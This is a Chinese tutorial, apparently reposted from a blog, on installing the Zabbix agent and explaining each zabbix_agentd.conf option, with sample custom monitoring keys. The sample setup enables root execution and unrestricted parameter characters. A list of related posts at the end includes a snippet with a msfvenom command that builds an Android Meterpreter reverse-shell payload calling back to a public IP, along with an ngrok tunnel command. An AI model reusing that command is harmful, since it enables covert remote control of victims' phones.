zabbix_Agent 监控配置说明
Agent 监控配置说明
Linux安装Agent
1.查看系统版本
查看系统版本
uname -a
1
根据系统版本下载对应的zabbix-agent版本安装
下载地址:http://repo.zabbix.com/zabbix
2.安装zabbix-agent
把下载好的rpm安装包拷贝到主机上
运行命令安装
rpm -ivh zabbix-agent-3.0.4-1.el7.x86_64.rpm
1
安装完成后设置开机自动启动
chkconfig zabbix-agent on
1
3.配置zabbix-agent
ServerActive=10.0.0.105(zabbix-server的IP地址)
Timeout=15(超时时间)
AllowRoot=1(允许以root运行)
UnsafeUserParameters=1(允许特殊字符)
UserParameter(配置自定义key)
详细配置详解
############ GENERAL PARAMETERS #################
### Option: PidFile
# Name of PID file.
#
# Mandatory: no
# Default:
# PidFile=/tmp/zabbix_agentd.pid
PidFile=/var/run/zabbix/zabbix_agentd.pid
PidFile
默认值:/tmp/zabbix_agentd.pid
PID文件名
### Option: LogType
# Specifies where log messages are written to:
# system - syslog
# file - file specified with LogFile parameter
# console - standard output
#
# Mandatory: no
# Default:
# LogType=file
LogType
指定日志消息写入的位置
system:syslog
file:使用LogFile参数指定的文件
console:标准输出
### Option: LogFile
# Log file name for LogType 'file' parameter.
#
# Mandatory: no
# Default:
# LogFile=
LogFile=/var/log/zabbix/zabbix_agentd.log
LogFile
日志文件路径
如果未配置,日志会记录到syslog中
### Option: LogFileSize
# Maximum size of log file in MB.
# 0 - disable automatic log rotation.
#
# Mandatory: no
# Range: 0-1024
# Default:
# LogFileSize=1
LogFileSize=0
LogFileSize
取值范围:0-1024
默认值:1
日志文件大小,单位为MB。
0 - 关闭自动轮滚.
备注:如果日志文件到达了最大值并且文件轮滚失败,那么老日志文件会被清空掉。
### Option: DebugLevel
# Specifies debug level:
# 0 - basic information about starting and stopping of Zabbix processes
# 1 - critical information
# 2 - error information
# 3 - warnings
# 4 - for debugging (produces lots of information)
# 5 - extended debugging (produces even more information)
#
# Mandatory: no
# Range: 0-5
# Default:
# DebugLevel=3
DebugLevel
取值范围:0-5
默认值:3
指定日志级别
0 - basic information about starting and stopping of Zabbix processes
1 - critical级别
2 - error级别
3 - warnings级别
4 - debug级别
5 - extended debugging (与级别4一样. 只能使用runtime control 来设置.)
### Option: SourceIP
# Source IP address for outgoing connections.
#
# Mandatory: no
# Default:
# SourceIP=
SourceIP
zabbix对外连接的出口IP地址
### Option: EnableRemoteCommands
# Whether remote commands from Zabbix server are allowed.
# 0 - not allowed
# 1 - allowed
#
# Mandatory: no
# Default:
# EnableRemoteCommands=0
EnableRemoteCommands
默认值:0
是否运行zabbix server在此服务器上执行远程命令
0 - 禁止
1 - 允许
### Option: LogRemoteCommands
# Enable logging of executed shell commands as warnings.
# 0 - disabled
# 1 - enabled
#
# Mandatory: no
# Default:
# LogRemoteCommands=0
LogRemoteCommands
默认值:0
记录原型执行的shell命令日志,级别为warrning
0 - disabled
1 - enabled
### Option: Server
# List of comma delimited IP addresses (or hostnames) of Zabbix servers.
# Incoming connections will be accepted only from the hosts listed here.
# If IPv6 support is enabled then '127.0.0.1', '::127.0.0.1', '::ffff:127.0.0.1' are treated equally.
#
# Mandatory: no
# Default:
# Server=
Server=10.0.0.100
Server
zabbix server的ip地址,多个ip使用逗号分隔
### Option: ListenPort
# Agent will listen on this port for connections from the server.
#
# Mandatory: no
# Range: 1024-32767
# Default:
# ListenPort=10050
ListenPort
取值范围:1024-32767
默认值10050
监听端口
### Option: ListenIP
# List of comma delimited IP addresses that the agent should listen on.
# First IP address is sent to Zabbix server if connecting to it to retrieve list of active checks.
#
# Mandatory: no
# Default:
# ListenIP=0.0.0.0
ListenIP
默认值:0.0.0.0
监听IP地址,默认为所有接口,多个ip之间使用逗号分隔
### Option: StartAgents
# Number of pre-forked instances of zabbix_agentd that process passive checks.
# If set to 0, disables passive checks and the agent will not listen on any TCP port.
#
# Mandatory: no
# Range: 0-100
# Default:
# StartAgents=3
StartAgents
取值范围:0-100
默认值:3
zabbix启动之后开启被动监控的进程数量,如果设置为0,那么zabbix被动监控被禁用,并且不会监听相应端口,也就是说10050端口不会开启。
### Option: ServerActive
# List of comma delimited IP:port (or hostname:port) pairs of Zabbix servers for active checks.
# If port is not specified, default port is used.
# IPv6 addresses must be enclosed in square brackets if port for that host is specified.
# If port is not specified, square brackets for IPv6 addresses are optional.
# If this parameter is not specified, active checks are disabled.
# Example: ServerActive=127.0.0.1:20051,zabbix.domain,[::1]:30051,::1,[12fc::1]
#
# Mandatory: no
# Default:
# ServerActive=
ServerActive=10.0.0.100:10052
ServerActive
zabbix 主动监控server的ip地址,使用逗号分隔多IP,如果注释这个选项,那么当前服务器的主动监控就被禁用了
### Option: Hostname
# Unique, case sensitive hostname.
# Required for active checks and must match hostname as configured on the server.
# Value is acquired from HostnameItem if undefined.
#
# Mandatory: no
# Default:
# Hostname=
Hostname
默认值:HostnameItem配置的值
主机名,必须唯一,区分大小写。Hostname必须和zabbix web上配置的一直,否则zabbix主动监控无法正常工作。为什么呢?因为agent拿着这个主机名去问server,我有配置主动监控项 吗?server拿着这个主机名去配置里面查询,然后返回信息。
支持字符:数字字母、’.’、’ ‘、 ‘_’、 ‘-‘,不超过64个字符
### Option: HostnameItem
# Item used for generating Hostname if it is undefined. Ignored if Hostname is defined.
# Does not support UserParameters or aliases.
#
# Mandatory: no
# Default:
# HostnameItem=system.hostname
HostnameItem
默认值:system.hostname
设置主机名,只有当HostMetadata没设置,她才生效。不支持UserParameters 、aliases,支持system.run[]
### Option: HostMetadata
# Optional parameter that defines host metadata.
# Host metadata is used at host auto-registration process.
# An agent will issue an error and not start if the value is over limit of 255 characters.
# If not defined, value will be acquired from HostMetadataItem.
#
# Mandatory: no
# Range: 0-255 characters
# Default:
# HostMetadata=
HostMetadata
取值范围:0-255 字符
仅用于主机自动注册功能,如果当前值为定义,那么它的值默认为HostMetadataItem的值。这个选项在2.2.0之后加入,并且确保支付不能超过限制,以及字符串必须是UTF8,否则服务器无法启动
### Option: HostMetadataItem
# Optional parameter that defines an item used for getting host metadata.
# Host metadata is used at host auto-registration process.
# During an auto-registration request an agent will log a warning message if
# the value returned by specified item is over limit of 255 characters.
# This option is only used when HostMetadata is not defined.
#
# Mandatory: no
# Default:
# HostMetadataItem=
HostMetadataItem
功能同上,如果HostMetadata值未设置,这个配置才有效。支持使用UserParameters、alias、system.run[]
### Option: RefreshActiveChecks
# How often list of active checks is refreshed, in seconds.
#
# Mandatory: no
# Range: 60-3600
# Default:
# RefreshActiveChecks=120
RefreshActiveChecks
取值范围:60-3600
默认值:120
多久时间(秒)刷新一次主动监控配置信息,如果刷新失败,那么60秒之后会重试一次
### Option: BufferSend
# Do not keep data longer than N seconds in buffer.
#
# Mandatory: no
# Range: 1-3600
# Default:
# BufferSend=5
BufferSend
取值范围:1-3600
默认值:5
数据存储在buffer中最长多少秒
### Option: BufferSize
# Maximum number of values in a memory buffer. The agent will send
# all collected data to Zabbix Server or Proxy if the buffer is full.
#
# Mandatory: no
# Range: 2-65535
# Default:
# BufferSize=100
BufferSize
取值范围:2-65535
默认值:100
buffer最大值,如果buffer满了,zabbix将会将检索到的数据发送给zabbix server或者proxy
### Option: MaxLinesPerSecond
# Maximum number of new lines the agent will send per second to Zabbix Server
# or Proxy processing 'log' and 'logrt' active checks.
# The provided value will be overridden by the parameter 'maxlines',
# provided in 'log' or 'logrt' item keys.
#
# Mandatory: no
# Range: 1-1000
# Default:
# MaxLinesPerSecond=20
MaxLinesPerSecond
取值范围:1-1000
默认值:20
处理监控类型为log何eventlog日志时,agent每秒最大发送的行数。默认为20行
### Option: Alias
# Sets an alias for an item key. It can be used to substitute long and complex item key with a smaller and simpler one.
# Multiple Alias parameters may be present. Multiple parameters with the same Alias key are not allowed.
# Different Alias keys may reference the same item key.
# For example, to retrieve the ID of user 'zabbix':
# Alias=zabbix.userid:vfs.file.regexp[/etc/passwd,^zabbix:.:([0-9]+),,,,\1]
# Now shorthand key zabbix.userid may be used to retrieve data.
# Aliases can be used in HostMetadataItem but not in HostnameItem parameters.
#
# Mandatory: no
# Range:
# Default:
Alias
key的别名,例如 Alias=ttlsa.userid:vfs.file.regexp[/etc/passwd,^ttlsa:.:([0-9]+),,,,\1], 或者ttlsa的用户ID。你可以使用key:vfs.file.regexp[/etc/passwd,^ttlsa:.: ([0-9]+),,,,\1],也可以使用ttlsa.userid。
备注: 别名不能重复,但是可以有多个alias对应同一个key。
### Option: Timeout
# Spend no more than Timeout seconds on processing
#
# Mandatory: no
# Range: 1-30
# Default:
# Timeout=3
Timeout
默认值:1-30
默认值:3
超时时间
### Option: AllowRoot
# Allow the agent to run as 'root'. If disabled and the agent is started by 'root', the agent
# will try to switch to the user specified by the User configuration option instead.
# Has no effect if started under a regular user.
# 0 - do not allow
# 1 - allow
#
# Mandatory: no
# Default:
# AllowRoot=0
AllowRoot=1
AllowRoot
默认值:0
是否允许使用root身份运行zabbix,如果值为0,并且是在root环境下,zabbix会尝试使用zabbix用户运行,如果不存在会告知zabbix用户不存在。
0 - 不允许
1 - 允许
### Option: User
# Drop privileges to a specific, existing user on the system.
# Only has effect if run as 'root' and AllowRoot is disabled.
#
# Mandatory: no
# Default:
# User=zabbix
User
默认值:zabbix
运行zabbix程序的用户,如果AllowRoot被禁用,才有效果
### Option: Include
# You may include individual files or all files in a directory in the configuration file.
# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
#
# Mandatory: no
# Default:
# Include=
Include=/etc/zabbix/zabbix_agentd.d/
# Include=/usr/local/etc/zabbix_agentd.userparams.conf
# Include=/usr/local/etc/zabbix_agentd.conf.d/
# Include=/usr/local/etc/zabbix_agentd.conf.d/*.conf
nclude
包含自配置文件,不同的配置写到不同的文件中,然后include,配置文件会显得规范。例如: /absolute/path/to/config/files/*.conf. Zabbix 2.4.0开始支持正则表达式。
### Option: UnsafeUserParameters
# Allow all characters to be passed in arguments to user-defined parameters.
# The following characters are not allowed:
# \ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @
# Additionally, newline characters are not allowed.
# 0 - do not allow
# 1 - allow
#
# Mandatory: no
# Range: 0-1
# Default:
# UnsafeUserParameters=0
UnsafeUserParameters=1
UnsafeUserParameters
取值范围:0,1
默认值: 0
允许所有字符的参数传递给用户定义的参数(包括特殊字符)。
### Option: UserParameter
# User-defined parameter to monitor. There can be several user-defined parameters.
# Format: UserParameter=<key>,<shell command>
# See 'zabbix_agentd' directory for examples.
#
# Mandatory: no
# Default:
# UserParameter=
UserParameter=system.cpu.steal,nproc
UserParameter=dskTotal[*],python /root/disk.py $1 $2
UserParameter=ifNumber,/etc/init.d/network status |awk 'NR==4'|awk -v RS="@#$j" '{print gsub(/ /,"&")+1}'
UserParameter=ifInQLen[*],ethtool -S $1 |grep 'Tx Queue#:'|awk '{print $2 3}'
UserParameter=ifOutQLen[*],ethtool -S $1 |grep 'Rx Queue#:'|awk '{print $2 3}'
UserParameter=ifStatus[*],python /root/Net.py $1 $2
UserParameter
用户自定义key,格式: UserParameter=,
例如:serParameter=system.test,who|wc -l
### Option: LoadModulePath
# Full path to location of agent modules.
# Default depends on compilation options.
#
# Mandatory: no
# Default:
# LoadModulePath=${libdir}/modules
LoadModulePath
模块路径,绝对路径
### Option: LoadModule
# Module to load at agent startup. Modules are used to extend functionality of the agent.
# Format: LoadModule=<module.so>
# The modules must be located in directory specified by LoadModulePath.
# It is allowed to include multiple LoadModule parameters.
#
# Mandatory: no
# Default:
# LoadModule=
LoadModule
加载模块文件,可以写多个
格式: LoadModule=
必须配置LoadModulePath,指定模块目录
####### TLS-RELATED PARAMETERS #######
### Option: TLSConnect
# How the agent should connect to server or proxy. Used for active checks.
# Only one value can be specified:
# unencrypted - connect without encryption
# psk - connect using TLS and a pre-shared key
# cert - connect using TLS and a certificate
#
# Mandatory: yes, if TLS certificate or PSK parameters are defined (even for 'unencrypted' connection)
# Default:
# TLSConnect=unencrypted
### Option: TLSAccept
# What incoming connections to accept.
# Multiple values can be specified, separated by comma:
# unencrypted - accept connections without encryption
# psk - accept connections secured with TLS and a pre-shared key
# cert - accept connections secured with TLS and a certificate
#
# Mandatory: yes, if TLS certificate or PSK parameters are defined (even for 'unencrypted' connection)
# Default:
# TLSAccept=unencrypted
### Option: TLSCAFile
# Full pathname of a file containing the top-level CA(s) certificates for
# peer certificate verification.
#
# Mandatory: no
# Default:
# TLSCAFile=
### Option: TLSCRLFile
# Full pathname of a file containing revoked certificates.
#
# Mandatory: no
# Default:
# TLSCRLFile=
### Option: TLSServerCertIssuer
# Allowed server certificate issuer.
#
# Mandatory: no
# Default:
# TLSServerCertIssuer=
### Option: TLSServerCertSubject
# Allowed server certificate subject.
#
# Mandatory: no
# Default:
# TLSServerCertSubject=
### Option: TLSCertFile
# Full pathname of a file containing the agent certificate or certificate chain.
#
# Mandatory: no
# Default:
# TLSCertFile=
### Option: TLSKeyFile
# Full pathname of a file containing the agent private key.
#
# Mandatory: no
# Default:
# TLSKeyFile=
### Option: TLSPSKIdentity
# Unique, case sensitive string used to identify the pre-shared key.
#
# Mandatory: no
# Default:
# TLSPSKIdentity=
### Option: TLSPSKFile
# Full pathname of a file containing the pre-shared key.
#
# Mandatory: no
# Default:
# TLSPSKFile=
windows安装Agent
1.下载zabbix-agent压缩包
下载地址:http://www.zabbix.com/download
2.安装zabbix-agent
1)在非C盘的任意盘创建zabbix文件夹(以D盘为例)
2)解压下载的zabbix-agent文件,根据系统是64位还是32位系统,选择对应版本(以64位为例)
3)将解压出来的文件夹下的 bin\win64 文件夹中的文件拷贝到创建的zabbix文件夹下
4)将解压出来的文件夹下的 conf 文件夹拷贝到创建的zabbix文件夹下
5)打开 zabbix\conf\ 下的zabbix_agentd.win.conf 修改配置(方法同上)
6)修改好后保存退出,打开终端,运行
D:\zabbix\zabbix_agentd.exe -c D:\zabbix\conf\zabbix_agentd.win.conf -i
D:\zabbix\zabbix_agentd.exe -c D:\zabbix\conf\zabbix_agentd.win.conf -s
-i 安装
-d 卸载
-s 启动
-x 停止
-h 帮助
-c 配置文件位置
注意: 关闭防火墙,或者开放指定端口
转自:http://blog.csdn.net/qq_28426351/article/details/53485435
zabbix_Agent 监控配置说明的更多相关文章
- 使用zabbix_agent监控第一台linux服务器
添加zabbix用户和组 groupadd zabbix useradd -g zabbix zabbix 解压并编译安装 tar xf zabbix-3.2.1.tar.gz cd zabbix-3 ...
- 使用zabbix_agent监控第一台windows服务器
解压windows客户端压缩包 bin目录下会有win32和win64俩个文件夹,根据windows系统的版本自行进行选择,将客户端程序文件拷贝至C:\zabbix 将conf文件中的zabbix_a ...
- Druid数据源SQL数据库与Spring监控
Druid监控概要说明 为什么要监控? Druid是什么?德鲁伊 URL监控配置说明 配置步骤 步骤 配置 第一步 web.xml 配置 WebStatFilter 第二步 WebStatFilter ...
- zabbix3.4.7实操总结一
一.zabbix_server的配置说明 #需要修改的内容为如下:[root@localhost ~]# cd /usr/local/zabbix/etc/[root@localhost etc]# ...
- SaltStack学习笔记之安装zabbix_agentd(jinja和pillar)
一.环境说明 机器 IP 主机名 Master 192.168.0.23 minion.saltstack.com Minion 192.168.0.35 minion-node2.saltstack ...
- zabbix_agent代理端监控FTP服务
(FTP服务器) 监控agent的Linux主机我们在之前就已经做好了,现在直接安装ftp服务即可 (可以看上一遍文章如何搭建监控端agent) 这里不过多演示 [root@agent ~]# yu ...
- 为Zabbix配置RabbitMQ监控模板
RabbitMQ的配置参考 https://github.com/jasonmcintosh/rabbitmq-zabbix 简而言之,具体分为几个步骤: 1. 将脚本文件(scripts文件夹)和配 ...
- Zabbix监控
安装zabbix首先需要安装Nginx+Mysql+PHP,然后再安装zabbix 安装zabbix1:创建用户及组: groupadd zabbix useradd -g zabbix zabbix ...
- Zabbix自定义监控8080端口的连接数
Zabbix自定义监控8080端口的连接数 一 zabbix自定义监控实现思路 实际上我们要想使用zabbix来监控一些服务的原理很简单,步骤分别是:1.写一个脚本用于获取待监控服务的一些状态信息2. ...
随机推荐
- App开发 对生命周期的处理
//获取到当前所在的视图 - (UIViewController *)presentingVC:(UIApplication *)application{ UIWindow * window = ap ...
- Spring Boot快速入门(三):依赖注入
原文地址:https://lierabbit.cn/articles/6 spring boot使用依赖注入的方式很简单,只需要给添加相应的注解即可 @Service用于标注业务层组件 @Contro ...
- 从头开始基于Maven搭建SpringMVC+Mybatis项目(1)
技术发展日新月异,许多曾经拥有霸主地位的流行技术短短几年间已被新兴技术所取代. 在Java的世界中,框架之争可能比语言本身的改变更让人关注.近几年,SpringMVC凭借简单轻便.开发效率高.与spr ...
- msfconsole弄外网手机木马
创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...
- Maven(三)在Eclipse中使用Maven与Maven坐标
这一篇讲解一下在eclipse中使用maven,在一些高版本的eclipse中是自带maven插件的.所以这里就不在讲解怎么安装插件了. 接下来我们创建一个MavenFirst项目 一.在Eclips ...
- [51nod1407]与与与与
有n个整数,问从他们中取出若干个数字相与之后结果是0的有多少组. 答案比较大,输出对于 1,000,000,007 (1e9+7)取模后的结果. Input 第一行输入一个整数n.(1<=n&l ...
- 以太坊RPC机制与API实例
上一篇文章介绍了以太坊的基础知识,我们了解了web3.js的调用方式是通过以太坊RPC技术,本篇文章旨在研究如何开发.编译.运行与使用以太坊RPC接口. 关键字:以太坊,RPC,JSON-RPC,cl ...
- SecureCRT连接虚拟机中的Linux系统(Ubuntu)_Linux教程
有道云笔记链接地址: https://note.youdao.com/share/?id=826781e7ca1fd1223f6a43f4dc2c9b5d&type=note#/
- vi 方向键和Backspace键失效问题的解决方法
安装的ubuntu默认的编辑器是vi,遇到了两个问题: ① insert模式下,按方向键将产生A.B.C.D等字符,解决方案: :set nocompatible ② insert模式下Backspa ...
- [国嵌笔记][010][TFTP与NFS服务器配置]
交叉开发 嵌入式软件产生的平台称为宿主机,运行嵌入式软件的平台称为目标机 宿主机一般通过串口.网络.USB.JTAG等方式将软件下载到目标机 网络下载 一般有TFTP和NFS两种方式 tftp服务器 ...